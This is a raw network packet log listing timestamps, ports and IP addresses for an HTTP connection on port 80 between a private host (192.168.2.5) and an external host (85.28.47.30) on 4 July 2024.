Jul 4, 2024 22:20:32.595853090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.595863104 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.595863104 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.595865011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.595875978 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.595885992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.595885992 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.595897913 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.595909119 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.595918894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.595921993 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.595921993 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.595930099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.595942020 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.595952988 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.595963955 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.595963955 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.595963955 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.595974922 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.595978022 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.596020937 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.596020937 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.596678019 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.596689939 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.596698999 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.596709013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.596719027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.596730947 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.596740961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.596749067 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.596749067 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.596754074 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.596767902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.596772909 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.596772909 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.596779108 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.596790075 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.596801043 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.596801043 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.596813917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.596826077 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.596836090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.596841097 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.596841097 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.596847057 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.596857071 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.596864939 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.596865892 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.596904039 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.596904039 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.597398043 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.597584963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.597594976 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.597604036 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.597623110 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.597635984 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.597646952 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.597646952 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.597646952 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.597659111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.597671032 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.597680092 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.597681999 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.597693920 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.597704887 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.597708941 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.597708941 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.597718000 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.597728014 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.597733021 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.597738981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.597750902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.597759008 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.597763062 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.597773075 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.597774029 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.597786903 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.597809076 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.597830057 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.598711014 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.598721981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.598731995 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.598742008 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.598752022 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.598758936 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.598762989 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.598774910 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.598774910 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.598786116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.598793983 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.598797083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.598809004 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.598819017 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.598829031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.598830938 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.598830938 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.598839045 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.598849058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.598859072 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.598865986 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.598865986 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.598871946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.598884106 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.598893881 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.598927021 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.598927021 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.599530935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599545956 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599562883 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599574089 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599584103 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599589109 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.599589109 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.599596977 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599607944 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599618912 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599628925 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.599628925 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.599632025 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599643946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599656105 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599664927 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.599664927 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.599667072 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599683046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599694014 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599699974 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.599699974 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.599705935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599716902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599726915 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599736929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599745989 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.599750996 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599762917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599770069 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.599770069 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.599773884 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599786997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599797010 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.599831104 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.599843979 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.600919008 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.600929976 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.600939035 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.600950003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.600961924 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.600971937 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.600981951 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.600992918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.600992918 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.600992918 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.601002932 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601013899 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601026058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601027966 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.601027966 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.601037025 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601047993 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601057053 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.601069927 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.601125956 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.601787090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601798058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601807117 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601816893 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601826906 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601843119 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601852894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601854086 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.601854086 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.601864100 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601875067 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601876020 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.601886034 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601896048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601907969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601910114 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.601919889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601924896 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.601933002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601936102 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.601943970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601954937 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601965904 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601973057 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.601973057 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.601979017 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.601991892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602003098 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602013111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602014065 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.602014065 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.602025032 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602039099 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.602066040 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.602588892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602600098 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602608919 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602619886 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602638006 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.602638006 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602652073 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602663040 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602674007 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602675915 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.602675915 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.602684975 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602695942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602701902 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.602705956 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602718115 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602729082 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602735996 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.602735996 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.602740049 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602751970 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.602752924 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602763891 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602775097 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602787971 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602794886 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.602794886 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.602802992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602813959 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602821112 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.602826118 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602837086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.602839947 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.602874041 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.602874994 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.603815079 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.603827000 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.603837013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.603847027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.603857994 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.603868008 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.603879929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.603882074 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.603882074 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.603892088 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.603908062 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.603914022 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.603949070 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604152918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604163885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604168892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604173899 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604183912 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604193926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604208946 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604208946 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604211092 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604223013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604233027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604244947 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604252100 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604252100 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604259014 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604269981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604285002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604285002 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604295969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604305029 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604306936 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604314089 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604321003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604335070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604345083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604347944 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604357958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604372025 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604373932 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604386091 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604407072 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604407072 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604428053 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604598045 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604609966 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604619980 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604629993 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604640007 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604649067 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604650021 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604661942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604664087 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604674101 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604688883 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604702950 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604746103 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604758024 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604770899 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604779959 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604789972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604800940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604804039 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604811907 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604829073 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604836941 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604836941 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604841948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604854107 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604854107 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604865074 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604876041 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604887009 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604896069 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604896069 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604896069 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604907036 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.604932070 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.604944944 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.605148077 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605159998 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605169058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605179071 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605190039 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605201006 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605211973 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605221987 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605221987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.605221987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.605232954 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.605268002 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.605298996 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605309963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605319023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605329990 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605345964 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605354071 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.605354071 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.605359077 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.605370998 CEST	80	49704	85.28.47.30	192.168.2.5
